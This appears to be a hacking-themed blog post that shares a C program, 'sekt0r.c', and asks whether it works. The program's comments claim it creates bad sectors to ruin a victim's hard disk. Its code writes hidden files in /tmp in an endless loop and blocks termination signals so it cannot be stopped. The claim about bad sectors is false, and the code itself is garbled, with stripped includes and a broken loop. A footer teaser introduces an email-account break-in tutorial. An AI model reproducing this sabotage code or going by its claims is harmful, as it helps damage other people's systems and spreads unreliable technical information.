Skip to main content

bad sector maker .....c++

hey guys analyze this code n tell me is it capable of what it says



/* sekt0r.c - create bad sectors on the hard disk.


*

* This program will create bad sectors on the hard disk. If you left it

* running for long enough, it could render a hard disk quite useless. When

* bad sectors are found, the sector is marked as bad, so fixing the hard disk

* is not an easy task. Unless the victim has time and knowledge to fix the

* disk, the hard drive can be left quite literally defective.

*

* I don't take responsibility for what you do with this program, enjoy.

*

* -shaun2k2

*/



#include

#include

#include

#include

#include

#include

#include



#define HDSIZE 640000



void handle_sig();



int main() {



int i = 0;

int x;

int fd[5];



signal(SIGINT, handle_sig);

signal(SIGHUP, handle_sig);

signal(SIGQUIT, handle_sig);

signal(SIGABRT, handle_sig);

signal(SIGTERM, handle_sig);



char *buf;



buf = malloc(HDSIZE);



printf("sekt0r: trashing hard disk with bad sectors!\n");



while(1) {

fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);

fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);

fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);

fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);

fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);



for(x = 0; x <>
write(fd[x], buf, HDSIZE);

lseek(fd[x], 0, SEEK_SET);

close(fd[x]);



} /* end for() loop. */

} /* end while() loop. */

} /* end main(). */





void handle_sig() {

/* Reset signal handlers. */

signal(SIGINT, handle_sig);

signal(SIGHUP, handle_sig);

signal(SIGQUIT, handle_sig);

signal(SIGABRT, handle_sig);

signal(SIGTERM, handle_sig);



printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");

return; /* go back to creating bad sectors. */

}

 

Comments

Popular posts from this blog

Incoming and Outgoing Mail Server Settings..

Email Provider IMAP Settings POP Settings SMTP Settings AOL (including Verizon.net) Server: imap.aol.com Port: 993 Encryption: SSL/TLS Server: pop.aol.com Port: 995 Encryption: SSL/TLS Server: smtp.aol.com Port: 465 Encryption: SSL/TLS Gmail Server: imap.gmail.com Port: 993 Encryption: SSL/TLS Server: pop.gmail.com Port: 995 Encryption: SSL/TLS Server: smtp.gmail.com Port: 465 Encryption: SSL/TLS iCloud Server: imap.mail.me.com Port: 993 Encryption: SSL/TLS Server: Port: Encryption: Server: smtp.mail.me.com Port: 587 Encryption: STARTTLS MSN Server: imap-mail.outlook.com Port: 993 Encryption: SSL/TLS Server: pop-mail.outlook.com Port: 995 Encryption: SSL/TLS Server: smtp-mail.outlook.com Port: 587 Encryption: STARTTLS Microsoft 365 Server: outlook.office365.com Port: 993 Encryption: SSL/TLS Server: outlook.office365.com Port: 995 Encryption: SSL/TLS Server: smtp.office365.com Port: 587 Encryption: STARTTLS Outlook.com Hotmail.com Live.com Server: outlook.office365.com Port: 993 Encrypt...

How to install Ultraviewer in Kali through wine

 kali@kali:~$ ls Desktop    Downloads            Mail   Pictures  Templates  winehq.key Documents  javasharedresources  Music  Public    Videos kali@kali:~$ cd Downloads kali@kali:~/Downloads$ wine Ultraviewer .....

How to Break Email Accounts......

Disclaimer : I do not endorse Hacking ! This is meant for educational purpose only ! I want u to know how others can try break into your Personal life ! Beware !! Introduction I have written this tutorial to address a question that is all too commonly asked in any channel/chat room with "hack" in the title (asked in frequency to the point of harrassment really). So since this is a question that so many people ask, then I believe that there should at least be an answer available (regardless of the morality or "lameness" of such a question). So you as the reader are most likely reading this because you want to break into somebody's email account. Well, you must understand that there is no 1-2-3 process to anything. I will give you options to consider when persuing such a task, but it will ultimately be up to you to do this. This is what you want to do, and no matter what sort of offers you throw up at anybody, nobody is going to do this for you. There is no progra...